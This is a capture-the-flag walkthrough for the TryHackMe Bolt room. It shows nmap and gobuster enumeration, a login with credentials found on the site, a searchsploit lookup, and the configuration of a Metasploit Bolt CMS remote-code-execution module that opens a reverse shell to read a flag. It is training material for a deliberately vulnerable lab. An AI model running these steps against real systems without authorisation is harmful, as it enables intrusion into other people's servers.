THM Bolt Walkthrough

Bolt

Bolt is popular TryHackMe Machine which runs on a vulnerable version of bolt and you can exploit it with just simple steps.

TryHackMe Machines runs on vulnerable system. It allows us to find the structure of a machine like what type of technology it is using and how can we exploit it.

We just have to join the room and then start the Machine.

Once You Start click “Start Machine” then you have to wait for 60 seconds and then you will have your Machine’s IP.

---

VPN Setup

Now you have to configure you VPN which you can get from:

Manage Account → VM and VPN Setting

Then download the configuration file.

After Downloading the VPN Configuration file run this command:

sudo openvpn example.ovpn

---

Enumeration

The first step is to enumerate what ports are open and what kind of technology the victim is using.

For this I will use Nmap.

Nmap is powerful network scanning tool used to find open ports on a target system.

I will use the -A flag for aggressive scan.

sudo nmap -A IP

We got the results:

So we got some ports open.

1. Port 22 → SSH

2. Port 80 → HTTP

   Apache 2.4.29

3. Port 8000 → HTTP

   PHP 7.2.32

Here are 8 questions in our THM lab so I will divide it into 2 Levels.

---

Directory Bruteforcing

The next technique we will use to find hidden directories is called Directory Bruteforcing.

Directory bruteforcing is a technique used to find hidden or unprotected directories and files on a web server. It involves systematically checking a list of potential directories and filenames against the target website to discover content that may not be publicly linked or accessible.

gobuster -u http://IP:PORT -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

We didn’t get anything useful.

---

Level 1

Q1. What port number has a web server with a CMS running?

Ans:

We will paste the IP address in our browser to check which server (port) is using the CMS.

http://IP:80
http://IP:8000

After checking it we will be able to know which port is using the bolt service.

So now you have the answer of 1st Question.

---

Q2. What is the username we can find in the CMS?

Ans:

You have to check the username on the website page.

It is written on the page. Check it wisely.

---

Q3. What is the password we can find for the username?

Ans:

The password is also written in the website page. Try to find and complete your question.

In the questions they have asked us about the username and password which means we may have to login using those credentials.

So I will see if the Bolt login page exists.

Search on Google:

bolt login page

Yeah there is a bolt login page so I will use this.

http://IP:PORT/bolt/login

Now I will use the username and password which I got from the previous page.

I used the credentials and successfully logged in.

---

Q4. What version of the CMS is installed on the server?

Ans:

Now you have to see the lower-left corner. It is the point where the version is written.

---

Level 2

Q5. There’s an exploit for a previous version of this CMS. Find it on Exploit DB. What’s its EDB-ID?

Ans:

Now they are asking us to search for the previous version of CMS (bolt).

Exploit-DB is an open-source platform where developers, hackers and organizations share exploits against vulnerable systems.

Website:

https://www.exploit-db.com/

Or we can use it in Kali Linux.

First install exploitdb:

sudo apt install exploitdb

If you already installed it you can update it.

searchsploit -u

Now search the exploit.

searchsploit version

Write the previous version of Bolt CMS.

You will see results like this:

Tip:
Write only the number. Don’t add .py extension.

---

Q6. Metasploit recently added an exploit module for this vulnerability. What’s the full path?

Ans:

Exploit-DB doesn’t have the exploit related to the current version but Metasploit has it.

Metasploit Framework is a powerful open-source penetration testing tool used by security professionals and ethical hackers to identify and exploit vulnerabilities in systems.

Install or update:

sudo apt install metasploit-framework
sudo apt update

Launch metasploit:

msfconsole

Search for the exploit:

search bolt version

Copy the exploit path like:

exploit/.../.../..._..._...

---

Q7. Configure exploit options

Now configure the exploit.

LHOST

set LHOST IP

Important:
Use the IP from tun0, not eth0, because we are connected to TryHackMe VPN.

Check with:

ip addr

LPORT

set LPORT 443

RHOST

set RHOST IP

USERNAME

set USERNAME <Username>

PASSWORD

set PASSWORD <Password>

Then run:

exploit

---

Q8. Look for flag.txt

Now we have successfully exploited the machine and will look for the flag.

First list files:

ls

I didn’t get any result because I am in a default directory.

Example explanation:

If you are in directory var/www/ you will only see folders under that directory.

So we change directory to root.

cd /

Now go to home directory.

cd home

List files:

ls

We found flag.txt.

Read it:

cat flag.txt

Flag:

THM{################}

---

Conclusion

Congratulations on completing this room.